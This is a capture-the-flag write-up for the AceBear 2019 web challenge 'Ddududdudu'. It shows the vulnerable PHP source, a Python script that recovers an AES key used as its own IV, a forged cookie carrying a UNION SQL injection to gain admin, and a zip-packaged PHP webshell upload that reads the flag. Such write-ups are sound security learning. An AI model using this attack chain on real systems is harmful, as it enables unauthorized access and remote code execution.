AceBear Security Contest 2019 - Write-up

Information#

CTF#

  • Name : AceBear Security Contest 2019
  • Website : ctf.acebear.team
  • Type : Online
  • Format : Jeopardy
  • CTF Time : link

Web - Ddududdudu#

The code analysis#

At first, if you launch a dirsearch/dirbuster or anything to list files on server, you find a backup.bak, which contains the source code of the challenge. Alternatively, you click on the link in the hint. It is a zip file that contains:

1
2
3
4
5
6
7
8
9
10
11
$ ls -R
.:
css/ header.php index.php lib/ login.php logout.php register.php upload.php uploads/

./css:
bootstrap.min.css bootstrap.min.js jquery.min.js popper.min.js

./lib:
aes.php connection.php pclzip.php permission.php

./uploads:

Interesting files are lib/connection.php, login.php and upload.php. We can see that project use the AES CBC to encrypt and decrypt a remember_me cookie.

There are 2 vulnerabilities in their AES CBC usage and one classic vulnerability of web developer:

  • IV = KEY, NEVER NEVER you do that. IV must be random and unique for each encryption.

lib/connection.php (look gen_cookie and check_cookie)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php 
session_start();
include "aes.php";
use PhpAes\Aes;
$servername = "localhost";
$username = "";
$password = "";
$dbname = "";
$key = "";
$flag = "flag_here";
$conn = new mysqli($servername, $username, $password, $dbname) or die("Fail");
...
function gen_cookie($username,$key){
$username = $username."|thisisareallyreallylongstringasfalsfassfasfaasff";
$aes = new Aes($key, 'CBC', $key);
return base64_encode($aes->encrypt($username));
}

function check_cookie($token,$key){
$aes = new Aes($key, 'CBC', $key);
$token = base64_decode($token);
return $aes->decrypt($token);
}

  • They returns the decoded token to the user if it is bad. They are so kindly.
    login.php (follow the $username and $tmp variables)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
include("header.php");
$error = "";

if (isset($_COOKIE["session_remember"]) && !isset($_SESSION["is_logged"]))
{
$username = check_cookie($_COOKIE["session_remember"],$key);
$tmp = $username;
$username = explode("|thisisareallyreallylongstringasfalsfassfasfaasff",$username)[0];
$query = "SELECT username,admin FROM Users WHERE username='$username'";
$result = $conn->query($query);
if ($result->num_rows === 1)
{
while($row = $result->fetch_assoc())
{
$_SESSION["is_logged"] = true;
$_SESSION["username"] = $row["username"];
$_SESSION["admin"] = $row["admin"];
$_SESSION["folder"] = "uploads/".md5($username);
header("Location: index.php");
$conn->close();
exit();
}
}
else
{
die("Error : ".base64_encode($tmp)." is not a valid cookie or is expired!");
}
}
...
  • A SQL injection inside the SQL query to find the user.

login.php

1
2
$username = explode("|thisisareallyreallylongstringasfalsfassfasfaasff",$username)[0];
$query = "SELECT username,admin FROM Users WHERE username='$username'";

AES CBC and kindly developers#

With that, we have to encrypt our SQL payload to do the injection and get an admin access.

However, how encrypt our payload without the key? Just recover the key! Easy, isn't it?

For explanations about how can we recover IV (which is equals to key), I used this link to understand the problem and found the right formula: https://cryptopals.com/sets/4/challenges/27

The only to do is to register a user and get his remember_me cookie and script a little to build a forged token to obtain its plain version through website. I used the "aaaa" account created by someone else (thank you).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/python3
#!coding: utf-8

'''
aaaa|thisisareallyreallylongstringasfalsfassfasfaasff
g9VKhsRKYRoXgyyuarMDwaf2+L7qU0ooivVQp8ap4BldNR1s8LO1AlfpymzWI2IIxrnc6PvMEUfShixeVOibjg==
'''

import requests
import re
from Crypto.Cipher import AES
from urllib.parse import quote_plus
from base64 import b64encode, b64decode

genblock = lambda x : [bytearray(x[i:i+16]) for i in range(0, len(x) - 16 + 1, 16)]
genstring = lambda x : b64encode(b"".join(x))
urlb64encode = lambda x: quote_plus(b64encode(x))

def padding(text):
if len(text)%16 != 0 :
text += chr(0) * (16 - (len(text)%16))
return text

token = "g9VKhsRKYRoXgyyuarMDwaf2+L7qU0ooivVQp8ap4BldNR1s8LO1AlfpymzWI2IIxrnc6PvMEUfShixeVOibjg=="
token_blocks = genblock(b64decode(token))

# Generate a token as C1 - \x00 - C1
new_token_blocks = token_blocks.copy()
new_token_blocks[2] = new_token_blocks[0]
new_token_blocks[1] = b'\x00' * 16

print("Token to test : %s" % genstring(new_token_blocks))

# Plain text of new_token which is given by the website => MrVg19rbkubNc1+9FaTSIIrbIMWBFrqYuLnTn5TM6v1fgQe24/bg1PwYPJE05PYBvoEkjFL51BhAaubCvJBhyQ==
plain_text = "MrVg19rbkubNc1+9FaTSIIrbIMWBFrqYuLnTn5TM6v1fgQe24/bg1PwYPJE05PYBvoEkjFL51BhAaubCvJBhyQ=="
plain_blocks = genblock(b64decode(plain_text))
key = ''
# Apply the formula P1 XOR P3 to get the key
for i in range(0,16):
key += chr(plain_blocks[0][i]^plain_blocks[2][i])

print("The key : %s" % key)

Finally, the key is : m4ga9-r21kc,!@$!

The SQLi#

The next step is to login as admin in the application. To do this, we have to found a user who is admin, or fake the system: ' and 1=0 union select username, 1 from Users where username='aaaa.

The application understand that the "aaaa" user is an admin.

Let’s forge the token:

1
2
3
encryption_suite = AES.new(key, AES.MODE_CBC,key)
print("Token to do SQLinjection (urlencode format): ")
print(urlb64encode(encryption_suite.encrypt(padding("' and 1=0 union select username, 1 from Users where username='aaaa|thisisareallyreallylongstringasfalsfassfasfaasff"))))

We are an admin and we can upload file.

The webshell upload#

As the flag is store on the website source code, we have to read it through a webshell. Why webshell? Because there is no entry from user on website which can lead to a command exec and the application offers an upload functionality.

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
...
<?php
$message = "";
if (isset($_POST["submit"]))
{
$error = $_FILES["zip_file"]["error"];
$file = $_FILES["zip_file"]["tmp_name"];
if ($error == 1 || $error == 2)
{
$message = "The uploaded file is too large. File must not larger than 10mb :)";
}
elseif ($error == 3 || !$file)
{
$message = "File upload failed.";
}

include("lib/pclzip.php");
$zip = new PclZip($file);
if (!is_dir($_SESSION["folder"]))
{
mkdir($_SESSION["folder"], 0777);
}
$files = $zip->extract(PCLZIP_OPT_PATH,$_SESSION["folder"]);
if (!$files)
{
exec(sprintf("rm -rf %s", escapeshellarg($_SESSION["folder"])));
$message = "Cannot extract your file.";
}
else
{
$json = json_decode(file_get_contents($_SESSION["folder"]."/manifest.json"),true);
if ($json["type"] !== "h4x0r" || !isset($json["name"]))
{
exec(sprintf("rm -rf %s", escapeshellarg($_SESSION["folder"])));
$message = "Your file is invalid.";
}
else
{
$message = "Your file is successfully unzip-ed. Access your file at ".$_SESSION['folder']."/[your_file_name]";
}
}
}
?>
...

In order to upload a webshell, we have to create a zip file which contains our PHP webshell (just google it for webshell) and a specific manifest.json.

manifest.json

1
2
3
4
{
"type":"h4x0r",
"name":"webshell"
}

Upload it.

upload

And get the flag: AceBear{From_Crypt0_m1sus3_t0_Rc3_______}

webshell

Share